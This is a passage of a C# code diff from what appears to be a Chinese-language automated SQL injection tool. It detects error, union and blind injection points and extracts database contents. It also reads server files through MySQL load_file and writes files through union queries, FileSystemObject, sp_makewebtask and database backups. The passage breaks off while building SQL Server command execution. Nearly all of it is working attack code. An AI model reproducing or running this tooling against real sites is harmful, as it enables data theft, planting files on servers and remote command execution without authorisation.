StringDelegate(log), "报告大侠,Access数据库不支持错误显示注入,已自动跳过!"); + } + else + { + //读取payload + List error_list = FileTool.readFileToList("config/injection/error_injection.txt"); + if (error_list != null && error_list.Count > 0) + { + foreach (String cpal in error_list) + { + String[] pals = cpal.Split(':'); + + ServerInfo errorServer = HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, pals[0], payload_request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); + + if (errorServer.body.IndexOf(pals[1]) != -1) + { + this.Invoke(new StringDelegate(log), "发现" + pals[2]); + selectDB(pals[3]); + //标记注入 + selectInjectType(2); + errorInject = true; + newParam = strparam.Replace(param, param + pals[4]); + this.Invoke(new StringDelegate(log), "自动标记错误显示注入完成!"); + break; + } + + } + } + else + { + this.Invoke(new StringDelegate(log), "没有读取到错误显示注入测试payload!"); + } + + } + this.Invoke(new StringDelegate(log), "报告大侠,错误显示测试完成,正在进行Union注入测试!"); + //union注入 + + //最大100列 + String payload = ""; + + if ("SQLServer".Equals(currentDB)) + { + payload = unionStartPayLoad + "{payload};--"; + + } + else if ("MySQL".Equals(currentDB)) + { + payload = unionStartPayLoad + "{payload}#"; + } + else if ("Access".Equals(currentDB)) + { + //处理%16不能被URL + payload = unionStartPayLoad + "{payload}"; + } + else + { + payload = unionStartPayLoad + "{payload}-- "; + + } + //判断总列数 + Boolean isFind = false; + for (int i = 1; i <= config.maxClolumns; i++) + { + if (isFind) + { + break; + } + int basestr = 1111111; + + String unionPayload = payload.Replace("{payload}", Comm.unionColumnCountTest(i, basestr)); + + if ("Oracle".Equals(currentDB)) + { + unionPayload = payload.Replace("{payload}", Comm.unionColumnCountTestByOracle(i, "null")); + } + if ("Access".Equals(currentDB)) + { + //%16不能被URL编码 + payload_request = request.Replace(strparam, payload_location + "%16"); + unionPayload = payload.Replace("{payload}", Comm.unionColumnCountTest(i, basestr) + " from MSysAccessObjects"); + } + + ServerInfo errorServer = HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, unionPayload, payload_request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); + + if ("Oracle".Equals(currentDB) && (errorServer.body.IndexOf("null") != -1 || errorServer.body.IndexOf("NULL") != -1)) + { + for (int j = 1; j <= i; j++) + { + unionPayload = payload.Replace("{payload}", Comm.unionColumnCountTestByOracle(i, j, "chr(49)||chr(49)||chr(49)||chr(49)||chr(49)||chr(49)||chr(49)||chr(49)||chr(49)||chr(49)")); + + ServerInfo oracleunionServer = HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, unionPayload, payload_request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); + if (errorServer.code == 200 && oracleunionServer.body.IndexOf("1111111111") != -1) + { + isFind = true; + newParam = strparam.Replace(param, param + "" + payload.Replace("{payload}", "#inject#") + ""); + if ("Access".Equals(currentDB)) + { + //%16不能被URL编码 + newParam = strparam.Replace(param, param + "" + payload.Replace("{payload}", "#inject#") + "%16"); + } + unionInject = true; + this.cbox_basic_injectType.SelectedIndex = 1; + this.txt_inject_unionColumnsCount.Text = i + ""; + this.txt_inject_showColumn.Text = j + ""; + break; + } + } + } + else + { + for (int j = 1; j <= i; j++) + { + String basecolumn = (basestr + j).ToString(); + if (errorServer.code == 200 && errorServer.body.IndexOf((basecolumn)) != -1) + { + isFind = true; + newParam = strparam.Replace(param, param + "" + payload.Replace("{payload}", "#inject#") + ""); + selectInjectType(3); + unionInject = true; + this.txt_inject_unionColumnsCount.Text = i + ""; + this.txt_inject_showColumn.Text = j + ""; + break; + } + } + } + + + } + if (isFind) + { + + this.Invoke(new StringDelegate(log), "此注入点支持Union注入,自动选择注入方式完成!"); + } + if (boolInject || errorInject || unionInject) + { + //替换注入位置-标记注入 + this.txt_inject_request.Text = request.Replace(strparam, newParam); + } + + } + + + } + catch (Exception e) + { + + Tools.SysLog("识别注入发生异常!" + e.Message); + this.Invoke(new StringDelegate(log), "识别注入发生异常!" + e.Message); + } + this.Invoke(new StringDelegate(log), "注入测试完成!"); + this.btn_autoInject.Text = "自动识别"; + autoinject = 0; + } + public void selectInjectType(int index) + { + this.cbox_basic_injectType.SelectedIndex = index; + } + public void selectDB(String currentDB) + { + + if ("UnKnow".Equals(currentDB)) + { + + this.cbox_basic_dbType.SelectedIndex = 0; + } + if ("Access".Equals(currentDB)) + { + + this.cbox_basic_dbType.SelectedIndex = 1; + } + else if ("MySQL".Equals(currentDB)) + { + + this.cbox_basic_dbType.SelectedIndex = 2; + } + else if ("SQLServer".Equals(currentDB)) + { + + this.cbox_basic_dbType.SelectedIndex = 3; + } + else if ("Oracle".Equals(currentDB)) + { + + this.cbox_basic_dbType.SelectedIndex = 4; + } + this.Invoke(new StringDelegate(log), "自动选择数据库类型完成!"); + } + + private void data_dbs_tsl_getDatas_Click(object sender, EventArgs e) + { + + if (MyThreadPool.GetAliveThreadsCount() == 0) + { + + if (!checkConfig()) + { + return; + } + if (!isSetInjectPoint()) + { + return; + } + + status = 1; + List list_columns = new List(); + foreach (ColumnHeader ch in this.data_dbs_lvw_data.Columns) + { + list_columns.Add(ch.Text); + } + if (list_columns.Count > 0) + { + + this.data_dbs_lvw_data.Items.Clear(); + } + this.currentDataCount = 0; + this.currentThread = new Thread(new ParameterizedThreadStart(getData)); + this.currentThread.Start(list_columns); + } + else + { + MessageBox.Show("还有线程未结束,请稍候...."); + } + + } + public int export = 0; + private void data_dbs_tsl_exportDatas_Click(object sender, EventArgs e) + { + + if (export == 0) + { + //保存文件 + SaveFileDialog saveFileDialog = new SaveFileDialog(); + saveFileDialog.Filter = "文本文件|*.csv"; + if (saveFileDialog.ShowDialog() == DialogResult.OK) + { + export = 1; + Thread eth = new Thread(exportData); + eth.Start(saveFileDialog.FileName); + } + } + else + { + + MessageBox.Show("请稍候,还有导出任务正在进行!"); + } + export = 0; + } + + public void exportData(Object path) + { + try + { + FileStream fs = new FileStream(path.ToString(), FileMode.OpenOrCreate, FileAccess.Write); + StreamWriter sw = new StreamWriter(fs); + String columns = ""; + foreach (ColumnHeader dc in this.data_dbs_lvw_data.Columns) + { + columns += ("\"" + dc.Text + "\","); + } + sw.WriteLine(columns.Substring(0, columns.Length - 1)); + foreach (ListViewItem sv in this.data_dbs_lvw_data.Items) + { + StringBuilder sb = new StringBuilder(); + foreach (ListViewItem.ListViewSubItem subv in sv.SubItems) + { + sb.Append("\"" + subv.Text + "\","); + } + sb.Remove(sb.Length - 1, 1); + sw.WriteLine(sb.ToString()); + } + sw.Close(); + MessageBox.Show("导出完成!"); + } + catch (Exception e) + { + Tools.SysLog("导出数据发生异常!" + e.Message); + MessageBox.Show("导出数据发生异常!"); + } + export = 0; + + } + + private void cbox_basic_injectType_SelectedIndexChanged(object sender, EventArgs e) + { + switch (this.cbox_basic_injectType.SelectedIndex) + { + + case 0: + config.injectType = InjectType.UnKnow; + break; + + case 1: + config.injectType = InjectType.Bool; + break; + case 2: + config.injectType = InjectType.Error; + break; + case 3: + config.injectType = InjectType.Union; + break; + case 4: + config.injectType = InjectType.Sleep; + break; + } + } + + private void cbox_basic_dbType_SelectedIndexChanged(object sender, EventArgs e) + { + switch (this.cbox_basic_dbType.SelectedIndex) + { + + case 0: + config.dbType = DBType.UnKnow; + break; + case 1: + config.dbType = DBType.Access; + break; + case 2: + config.dbType = DBType.MySQL5; + break; + case 3: + config.dbType = DBType.SQLServer; + break; + case 4: + config.dbType = DBType.Oracle; + break; + case 5: + config.dbType = DBType.MySQL4; + break; + } + } + private void txt_inject_unionColumnsCount_TextChanged(object sender, EventArgs e) + { + if (!String.IsNullOrEmpty(this.txt_inject_unionColumnsCount.Text)) + { + config.columnsCount = int.Parse(this.txt_inject_unionColumnsCount.Text); + } + + } + + private void txt_inject_showColumn_TextChanged(object sender, EventArgs e) + { + if (!String.IsNullOrEmpty(this.txt_inject_showColumn.Text)) + { + config.showColumn = int.Parse(this.txt_inject_showColumn.Text); + } + } + + private void txt_inject_key_TextChanged(object sender, EventArgs e) + { + if (!String.IsNullOrEmpty(this.txt_inject_key.Text)) + { + config.key = this.txt_inject_key.Text; + config.maxTime = Tools.convertToInt(config.key); + if (config.maxTime == 0 && config.keyType.Equals(KeyType.Time)) + { + MessageBox.Show("输入的判断值不是数字,请重新输入判断值,单位秒!"); + } + } + } + + private void tsmi_seting_Click(object sender, EventArgs e) + { + Seting set = new Seting(this); + set.Show(); + } + + private void Main_FormClosing(object sender, FormClosingEventArgs e) + { + + try + { + XML.saveConfig("lastConfig.xml", this.config); + } + catch (Exception ex) + { + Tools.SysLog("保存配置发生错误!" + ex.Message); + } + + System.Environment.Exit(0); + } + + private void tsmi_about_Click(object sender, EventArgs e) + { + About ab = new About(); + ab.Show(); + } + + private void tsmi_mustRead_Click(object sender, EventArgs e) + { + Waring w = new Waring(); + w.Show(); + } + + private void chk_inject_foward_302_CheckedChanged(object sender, EventArgs e) + { + config.is_foward_302 = this.chk_inject_foward_302.Checked; + } + + + private void btn_exportConfig_Click(object sender, EventArgs e) + { + SaveFileDialog saveFileDialog = new SaveFileDialog(); + saveFileDialog.Filter = "XML文件|*.xml"; + if (saveFileDialog.ShowDialog() == DialogResult.OK) + { + XML.saveConfig(saveFileDialog.FileName, config); + MessageBox.Show("导出成功!"); + } + + + } + + private void chk_openURLEncoding_CheckedChanged(object sender, EventArgs e) + { + config.isOpenURLEncoding = this.chk_openURLEncoding.Checked; + } + + private void data_cms_tsmi_copyVerValue_Click(object sender, EventArgs e) + { + if (this.data_lvw_ver.SelectedItems.Count == 0) + { + return; + } + Clipboard.SetText(this.data_lvw_ver.SelectedItems[0].SubItems[1].Text); + MessageBox.Show("复制成功!"); + } + + private void data_cms_tsmi_stopGetVariable_Click(object sender, EventArgs e) + { + + StopThread(); + } + + private void data_dbs_tsmi_getTableNames_Click(object sender, EventArgs e) + { + TreeNode tn = this.data_tvw_dbs.SelectedNode; + if (tn != null) + { + tn.BeginEdit(); + } + } + + private void chk_useSSL_CheckedChanged(object sender, EventArgs e) + { + if (this.chk_useSSL.Checked) + { + config.useSSL = true; + this.txt_basic_port.Text = "443"; + } + else + { + config.useSSL = false; + this.txt_basic_port.Text = "80"; + } + } + + private void data_dbs_tsmi_stopGetInfos_Click(object sender, EventArgs e) + { + StopThread(); + } + + private void data_tvw_dbs_AfterCheck(object sender, TreeViewEventArgs e) + { + String cname = e.Node.Text; + Boolean isColumn = e.Node.Tag.ToString().Equals("column"); + Boolean isTable = e.Node.Tag.ToString().Equals("table"); + Boolean isDB = e.Node.Tag.ToString().Equals("dbs"); + if (!e.Node.Checked) + { + if (isDB || isTable) + { + //不选 + foreach (TreeNode tn in e.Node.Nodes) + { + if (tn.Checked) + { + tn.Checked = false; + } + + } + } + if (isColumn) + { + + foreach (ColumnHeader dc in this.data_dbs_lvw_data.Columns) + { + if (dc.Text.Equals(cname)) + { + this.data_dbs_lvw_data.Columns.Remove(dc); + } + + } + } + } + else + { + if (isTable) + { + foreach (TreeNode tn in this.data_tvw_dbs.Nodes) + { + if (tn.Checked && tn != e.Node.Parent) + { + tn.Checked = false; + } + + } + } + + if (isColumn) + { + foreach (TreeNode tn in e.Node.Parent.Parent.Nodes) + { + if (tn.Checked && tn != e.Node.Parent) + { + tn.Checked = false; + } + + } + e.Node.Parent.Checked = true; + + if (!this.curren_table.Equals(e.Node.Parent.Text)) + { + this.data_dbs_lvw_data.Columns.Clear(); + } + ColumnHeader ch = new ColumnHeader("col_" + cname); + bool isExists = false; + foreach (ColumnHeader dc in this.data_dbs_lvw_data.Columns) + { + if (dc.Text.Equals(cname)) + { + isExists = true; + break; + } + + } + if (!isExists) + { + ch.Text = cname; + this.data_dbs_lvw_data.Columns.Add(ch); + } + //设置当前数据库和表 + this.curren_db = e.Node.Parent.Parent.Text; + this.curren_table = e.Node.Parent.Text; + } + } + } + + private void data_tvw_dbs_AfterSelect(object sender, TreeViewEventArgs e) + { + if (e.Node.Checked) + { + e.Node.Checked = false; + } + else + { + e.Node.Checked = true; + } + } + + private void data_dbs_lvw_tsmi_stop_Click(object sender, EventArgs e) + { + StopThread(); + } + + private void txt_basic_host_TextChanged(object sender, EventArgs e) + { + config.domain = this.txt_basic_host.Text; + } + + private void txt_basic_port_TextChanged(object sender, EventArgs e) + { + config.port = Tools.convertToInt(this.txt_basic_port.Text); + } + + private void txt_inject_request_TextChanged(object sender, EventArgs e) + { + config.request = this.txt_inject_request.Text; + } + + private void chk_inject_reverseKey_CheckedChanged(object sender, EventArgs e) + { + config.reverseKey = this.chk_inject_reverseKey.Checked; + } + + private void tsmi_openConfig_Click(object sender, EventArgs e) + { + OpenFileDialog ofd = new OpenFileDialog { Filter = "XML文件(*.xml)|*.*" }; + if (ofd.ShowDialog() == DialogResult.OK) + { + this.config = XML.readConfig(ofd.FileName); + reloadConfig(this.config); + MessageBox.Show("加载配置成功!"); + } + } + + public void reloadConfig(Config config) + { + + this.txt_basic_host.Text = config.domain; + this.txt_basic_port.Text = config.port + ""; + this.cbox_basic_timeOut.Text = config.timeOut + ""; + this.cbox_basic_encoding.Text = config.encoding; + + switch (config.injectType) + { + + case InjectType.UnKnow: + this.cbox_basic_injectType.SelectedIndex = 0; + break; + case InjectType.Bool: + this.cbox_basic_injectType.SelectedIndex = 1; + break; + case InjectType.Error: + this.cbox_basic_injectType.SelectedIndex = 2; + break; + case InjectType.Union: + this.cbox_basic_injectType.SelectedIndex = 3; + break; + + } + switch (config.dbType) + { + + case DBType.UnKnow: + this.cbox_basic_dbType.SelectedIndex = 0; + break; + case DBType.Access: + this.cbox_basic_dbType.SelectedIndex = 1; + break; + case DBType.MySQL5: + this.cbox_basic_dbType.SelectedIndex = 2; + break; + case DBType.SQLServer: + this.cbox_basic_dbType.SelectedIndex = 3; + break; + case DBType.Oracle: + this.cbox_basic_dbType.SelectedIndex = 4; + break; + case DBType.MySQL4: + this.cbox_basic_dbType.SelectedIndex = 5; + break; + } + this.data_dbs_cob_db_encoding.Text = config.db_encoding; + this.cbox_basic_threadSize.Text = config.threadSize + ""; + this.cbox_basic_reTryCount.Text = config.reTry + ""; + this.txt_inject_key.Text = config.key; + this.chk_inject_foward_302.Checked = config.is_foward_302; + this.chk_inject_reverseKey.Checked = config.reverseKey; + + switch (config.keyType) + { + + case KeyType.Key: + this.cbox_inject_type.SelectedIndex = 0; + break; + case KeyType.Code: + this.cbox_inject_type.SelectedIndex = 1; + break; + case KeyType.Length: + this.cbox_inject_type.SelectedIndex = 2; + break; + case KeyType.Time: + this.cbox_inject_type.SelectedIndex = 3; + config.maxTime = Tools.convertToInt(config.key); + break; + } + + this.chk_openURLEncoding.Checked = config.isOpenURLEncoding; + this.chk_useSSL.Checked = config.useSSL; + this.txt_inject_unionColumnsCount.Text = config.columnsCount + ""; + this.txt_inject_showColumn.Text = config.showColumn + ""; + + this.txt_inject_request.Text = config.request; + //file + + this.cbox_file_readFileEncoding.Text = config.readFileEncoding; + + //cmd + this.cmd_chk_showCmdResult.Checked = config.showCmdResult; + //bypass + this.bypass_chk_inculdeStr.Checked = config.inculdeStr; + this.cob_keyRepalce.SelectedIndex = config.keyReplace; + this.bypass_chk_base64.Checked = config.base64; + this.cbox_base64Count.SelectedIndex = config.base64Count-1; + this.cbox_bypass_urlencode_count.SelectedIndex = config.urlencodeCount - 1; + + //替换字符 + this.chk_reaplaceBeforURLEncode.Checked = config.reaplaceBeforURLEncode; + String[] replaceStrs = Regex.Split(config.replaceStrs, "\\n"); + config.replaceStrs = config.replaceStrs.Replace("\t\n",""); + if (replaceStrs.Length > 0) + { + + foreach (String line in replaceStrs) + { + String[] strs = Regex.Split(line, "\\t"); + if (strs.Length == 2) + { + if (!String.IsNullOrEmpty(strs[0])&& !this.replaceList.Contains(strs[0])) { + this.replaceList.Add(strs[0], strs[1]); + ListViewItem lvi = new ListViewItem(strs[0]); + lvi.SubItems.Add(strs[1]); + lvi.Name = strs[1]; + this.bypass_lvw_replaceString.Items.Add(lvi); + } + } + } + + } + + this.bypass_cbox_sendHTTPSleepTime.Text = config.sendHTTPSleepTime + ""; + this.bypass_cbox_randIPToHeader.Text = config.randIPToHeader; + + + + + + } + + public FindString fs = null; + public void showFindString(object sender, KeyEventArgs e, TextBox textBox) + { + if (e.Control && e.KeyCode == Keys.F) + { + if (fs == null) + { + + fs = new FindString(); + + } + fs.txtbox = textBox; + fs.ShowDialog(); + } + } + + + private void log_txt_response_KeyDown(object sender, KeyEventArgs e) + { + showFindString(sender, e, this.log_txt_response); + if (e.Modifiers == Keys.Control && e.KeyCode == Keys.A) + { + ((TextBox)sender).SelectAll(); + } + } + + private void txt_inject_request_KeyDown(object sender, KeyEventArgs e) + { + showFindString(sender, e, this.txt_inject_request); + if (e.Modifiers == Keys.Control && e.KeyCode == Keys.A) + { + ((TextBox)sender).SelectAll(); + } + } + + private void data_dbs_lvw_tsmi_copyLineData_Click(object sender, EventArgs e) + { + if (this.data_dbs_lvw_data.SelectedItems.Count > 0) + { + ListViewItem lvi = this.data_dbs_lvw_data.SelectedItems[0]; + StringBuilder str = new StringBuilder(); + foreach (ListViewItem.ListViewSubItem clvi in lvi.SubItems) + { + str.Append(clvi.Text + "----"); + } + if (str.Length > 0) + { + //清空剪切板内容 + Clipboard.Clear(); + //复制内容到剪切板 + Clipboard.SetData(DataFormats.Text, str.Remove(str.Length - 4, 4)); + MessageBox.Show("复制成功!"); + } + + } + } + + private void tsmi_saveConfig_Click(object sender, EventArgs e) + { + SaveFileDialog saveFileDialog = new SaveFileDialog(); + saveFileDialog.Filter = "XML文件|*.xml"; + if (saveFileDialog.ShowDialog() == DialogResult.OK) + { + XML.saveConfig(saveFileDialog.FileName, config); + } + + MessageBox.Show("导出成功!"); + } + + private void tsmi_update_Click(object sender, EventArgs e) + { + new Thread(checkUpdate).Start(); + } + + private void timer_status_Tick(object sender, EventArgs e) + { + this.runTime++; + this.status_lbl_time.Text = this.runTime + "s"; + this.status_lbl_threadStatus.Text = MyThreadPool.getCurrentThreadCount() + "/" + this.cbox_basic_threadSize.Text; + + getDBStatus(); + this.status_lbl_dbsCount.Text = this.currentDbsCount + "/" + this.dbsCount; + this.status_lbl_tableCount.Text = this.currentTableCount + "/" + this.tableCount; + if (this.currentDataCount == 0) + { + this.currentDataCount = this.data_dbs_lvw_data.Items.Count; + } + this.status_lbl_dataCount.Text = this.currentDataCount + "/" + this.dataCount; + if (MyThreadPool.getCurrentThreadCount() <= 0) + { + this.status_lbl_runStatus.Text = "未开始"; + } + else + { + + this.status_lbl_runStatus.Text = "正在运行"; + } + this.status_lbl_all_status.Text = comm_currentCount + "/" + comm_count; + this.lbl_packsCount.Text = HTTP.index.ToString(); + + } + + public void getDBStatus() + { + + this.currentDbsCount = 0; + this.currentTableCount = 0; + foreach (TreeNode tn in this.data_tvw_dbs.Nodes) + { + + if ("dbs".Equals(tn.Tag)) + { + + this.currentDbsCount++; + foreach (TreeNode ctn in tn.Nodes) + { + + if ("table".Equals(ctn.Tag)) + { + + this.currentTableCount++; + } + } + } + } + } + String[] ver_tmp = null; + public void file_txt_resultSetText(String text) + { + this.file_txt_result.Text = text; + } + + public void cmd_txt_resultSetText(String text) + { + this.cmd_txt_result.Text = text; + } + + public void readOrWriteFile() + { + String path = this.file_txt_filePath.Text; + String path_16 = Tools.strToHex(path, "UTF-8"); + String data_payload = ""; + if (Thread.CurrentThread.Name == null) + { + Thread.CurrentThread.Name = "FileThread-"; + } + if (this.file_cbox_readWrite.SelectedIndex == 0) + { + data_payload = MySQL5.hex.Replace("{data}", "load_file(" + path_16 + ")"); + switch (config.injectType) + { + case InjectType.Bool: + try + { + if (String.IsNullOrEmpty(config.key)) + { + MessageBox.Show("大侠,请在注入中心,配置Bool盲注的关键字!"); + return; + } + String payload_len = MySQL5.ver_length.Replace("{data}", data_payload); + int len = getValueByStepUp(payload_len, 0, 50000); + this.dataCount = len; + String value = ""; + ver_tmp = new String[len]; + //获取值 + for (int i = 0; i < len; i++) + { + MyThreadPool.initThread(new ParameterizedThreadStart(readOrWriteFileByMySQLByHexAscii), data_payload + "#" + i); + this.currentDataCount = i; + } + while (status == 1) + { + + Thread.Sleep(50); + if (MyThreadPool.getCurrentThreadCount() == 0) + { + + if (ver_tmp != null) + { + value = Tools.unHex(Tools.convertToString(ver_tmp), config.readFileEncoding); + break; + } + + } + + } + this.Invoke(new StringDelegate(file_txt_resultSetText), value); + this.Invoke(new StringDelegate(log), this.file_cbox_readWrite.Text + "完成!"); + + } + catch (Exception e) + { + this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + } + break; + case InjectType.Union: + try + { + if (config.columnsCount <= 0) + { + MessageBox.Show("大侠,请在注入中心,配置Union注入的列数!"); + return; + } + + String result = getOneDataByUnionOrError(MySQL5.union_value.Replace("{data}", MySQL5.creatMySQLReadFileByUnion(config.columnsCount, config.showColumn, "convert(load_file(" + path_16 + ") using UTF8)"))); + this.dataCount = result.Length; + this.currentDataCount = result.Length; + this.Invoke(new StringDelegate(file_txt_resultSetText), result); + this.Invoke(new StringDelegate(log), "报告大侠,获取到文件数据!"); + } + catch (Exception e) + { + this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + } + break; + case InjectType.Error: + try + { + String payload_len = MySQL5.char_length.Replace("{data}", data_payload); + String payload_len_error = MySQL5.error_value.Replace("{data}", MySQL5.creatMySQLColumnStr(payload_len)); + + String result_length = getOneDataByUnionOrError(payload_len_error); + + + int sumlen = Tools.convertToInt(result_length); + this.dataCount = sumlen; + String result = ""; + + int start = 1; + //每次获取长度,err方式有长度限制 + int count = 64 - 6; + this.Invoke(new StringDelegate(log), "报告大侠,正在获取数据,每次请求将获取" + count + "字符!"); + while (start < sumlen) + { + //hex编码,防止中文等乱码 + String datas_value_tmp = MySQL5.creatMySQLColumnStr(MySQL5.substr_value.Replace("{data}", data_payload).Replace("{start}", start.ToString()).Replace("{len}", count.ToString())); + String c_datas_value_payload = MySQL5.error_value.Replace("{data}", datas_value_tmp); + result += getOneDataByUnionOrError(c_datas_value_payload); + start += count; + this.currentDataCount = result.Length; + this.Invoke(new StringDelegate(file_txt_resultSetText), Tools.unHex(result, config.readFileEncoding)); + } + //查找格式^^^col$$$col^^^ + result = Tools.unHex(result, config.readFileEncoding); + Match m = Regex.Match(result, "(?<=(\\^\\^\\!))[.\\s\\S]*?(?=(\\!\\^\\^))"); + if (m.Success) + { + result = m.Value; + } + this.Invoke(new StringDelegate(file_txt_resultSetText), result); + this.Invoke(new StringDelegate(log), "获取文件内容!"); + } + catch (Exception e) + { + + this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + } + break; + + } + } + else if (this.file_cbox_readWrite.SelectedIndex == 1) + { + //union方式写文件 + if (config.injectType.Equals(InjectType.Union)) + { + if (!String.IsNullOrEmpty(this.file_txt_result.Text)) + { + String payload = MySQL5.creatMySQLWriteFileByUnion(config.columnsCount, config.showColumn, path, this.file_txt_result.Text); + HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, payload, config.request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); + MessageBox.Show("大侠,写文件操作小的我已经完成了额,剩下的就请大侠人工检查写文件是否成功!"); + } + else + { + MessageBox.Show("请在下面输入您要写入文件的内容,请注意,GET方式的注入提交数据不能超过1024个字节!"); + } + } + else + { + + MessageBox.Show("大侠此种方式写文件,只支持Union注入!"); + } + } + else if (this.file_cbox_readWrite.SelectedIndex == 2) + { + //filesystemobject写文件 + String payload = MSSQL.witeFileByFileSystemObject.Replace("{path}", Tools.strToHex(path, "GB2312")).Replace("{data}", Tools.strToHex(this.file_txt_result.Text, "GB2312")); + HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, payload, config.request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); + MessageBox.Show("大侠,写文件操作小的我已经完成了额,剩下的就请大侠人工检查写文件是否成功!"); + } + else if (this.file_cbox_readWrite.SelectedIndex == 3) + { + //sp_makewebtask写文件 + String payload = MSSQL.witeFileBySP_MakeWebTask.Replace("{path}", Tools.strToHex(path, "GB2312")).Replace("{data}", Tools.strToHex(this.file_txt_result.Text, "GB2312")); + HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, payload, config.request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); + MessageBox.Show("大侠,写文件操作小的我已经完成了额,剩下的就请大侠人工检查写文件是否成功!"); + } + else if (this.file_cbox_readWrite.SelectedIndex == 4) + { + //backup database写文件 + String payload = MSSQL.witeFileByBackDataBase.Replace("{path}", Tools.strToHex(path, "GB2312")).Replace("{data}", Tools.strToHex(this.file_txt_result.Text, "GB2312")); + HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, payload, config.request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); + MessageBox.Show("大侠,写文件操作小的我已经完成了额,剩下的就请大侠人工检查写文件是否成功!"); + } + else if (this.file_cbox_readWrite.SelectedIndex == 5) + { + //filesystemobject读文件 + String payload = MSSQL.readFileByFileSystemobject.Replace("{path}", path); + HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, payload, config.request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); + switch (config.injectType) + { + case InjectType.Bool: + + //取每一列的值 + data_payload = MSSQL.file_content; + String payload_len = MSSQL.bool_dataLength.Replace("{data}", data_payload); + int len = getValue(payload_len, 0, 1024 * 100); + ver_tmp = new String[len]; + this.dataCount = len; + this.Invoke(new StringDelegate(log), "SQLServer读到文件内容,长度为" + len + "字节!"); + //获取值 + for (int i = 1; i <= len; i++) + { + MyThreadPool.initThread(new ParameterizedThreadStart(getFileContentBySQLServer), i); + this.currentDataCount = i; + } + while (status == 1) + { + if (MyThreadPool.getCurrentThreadCount() <= 0) + { + this.Invoke(new StringDelegate(file_txt_resultSetText), Tools.StringArrayToString(ver_tmp)); + this.Invoke(new StringDelegate(log), "获取SQLServer读到文件内容完成!"); + break; + } + Thread.Sleep(50); + } + break; + + case InjectType.Union: + + String unionresult = getOneDataByUnionOrError(MSSQL.getUnionDataValue(config.columnsCount, config.showColumn, 1, MSSQL.file_content)); + this.Invoke(new StringDelegate(file_txt_resultSetText), unionresult); + this.Invoke(new StringDelegate(log), "获取到SQLServer读取的文件内容,长度为" + unionresult.Length + "字节!"); + break; + case InjectType.Error: + + String errorresult = getOneDataByUnionOrError(MSSQL.error_value.Replace("{data}", MSSQL.file_content)); + this.Invoke(new StringDelegate(file_txt_resultSetText), errorresult); + this.Invoke(new StringDelegate(log), "获取到SQLServer读取的文件内容,长度为" + errorresult.Length + "字节!"); + break; + case InjectType.Sleep: + getDatasByUnion(config.dbType, null, 1, 1); + break; + } + } + this.file_btn_start.Text = "开始"; + status = 0; + + } + + public void getFileContentBySQLServer(Object index) + { + try + { + //取值payload,替换对应下标值 + //select UNICODE(substring(@@version,{index},1)) + //取值payload,替换对应下标值 + String unicode_data_payload = MSSQL.unicode_value.Replace("{index}", index + "").Replace("{data}", MSSQL.file_content); + //取unicode转换后的长度 + String unicode_data_len_payload = MSSQL.bool_length.Replace("{data}", unicode_data_payload); + + //长度范围2-8支持大部分语言 + int unicode_data_len = getValue(unicode_data_len_payload, 1, 8); + int m_index = 1; + StringBuilder unicodes = new StringBuilder(); + + String value = ""; + + while (m_index <= unicode_data_len) + { + //获取多字节 + String substr_payload = MSSQL.substr.Replace("{data}", unicode_data_payload).Replace("{index}", m_index.ToString()); + //单个unicode值范围是0-9 + int unicode = getValue(MSSQL.bool_value.Replace("{data}", substr_payload), 0, 9); + unicodes.Append(unicode.ToString()); + m_index++; + } + int rstr = int.Parse(unicodes.ToString()); + if (rstr <= 255) + { + value += (char)rstr; + } + else + { + value += Tools.unHexByUnicode(rstr, config.readFileEncoding); + } + ver_tmp[int.Parse(index.ToString()) - 1] = value; + this.Invoke(new StringDelegate(file_txt_resultSetText), Tools.StringArrayToString(ver_tmp)); + } + catch (Exception e) + { + + Tools.SysLog("获取SQLServer读到的文件内容发生错误!" + e.Message); + } + } + + public void readOrWriteFileByMySQLByHexAscii(Object param) + { + String[] ps = param.ToString().Split('#'); + int index = int.Parse(ps[1].ToString()); + String tmp_va_payload = MySQL5.ver_value.Replace("{data}", ps[0]).Replace("{index}", (index + 1) + ""); + //数字加大写字母的ascii码 + int ascii = getValue(tmp_va_payload, 48, 90); + ver_tmp[index] = ((char)ascii).ToString(); + String value = Tools.unHex(Tools.convertToString(ver_tmp), "GB2312"); + this.Invoke(new StringDelegate(file_txt_resultSetText), value); + + } + + public void execCMDBySQLServerByUnicode(Object param) + { + + String[] ps = param.ToString().Split('#'); + int index = int.Parse(ps[1]); + + int len = getValue(MSSQL.bool_length.Replace("{data}", ps[0]), 0, 8); + + int cindex = 1; + String temUnicode = ""; + while (cindex <= len) + { + String tmp_payload = MSSQL.bool_value.Replace("{data}", "convert(int," + MSSQL.substr.Replace("{data}", ps[0]).Replace("{index}", cindex + "") + ")"); + //数字加大写字母的ascii码 + int ascii = getValue(tmp_payload, 0, 9); + temUnicode += ascii.ToString(); + cindex++; + } + int unicode = Tools.convertToInt(temUnicode); + + ver_tmp[index - 1] = Tools.unHexByUnicode(unicode, "UTF-8"); + this.Invoke(new StringDelegate(log), "获取到CMD执行结果--" + ver_tmp[index - 1]); + } + + public void execCMDBySQLServer() + { + try + { + if (Thread.CurrentThread.Name == null) + { + Thread.CurrentThread.Name = "CmdThread-"; + } + + String cmd = this.cmd_txt_cmd.Text; + String cmd_16 = Tools.strToHex(cmd, "GB2312"); + //执行cmd + String cmd_data_payload = MSSQL.createTable.Replace("{cmd}", cmd_16); + HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, 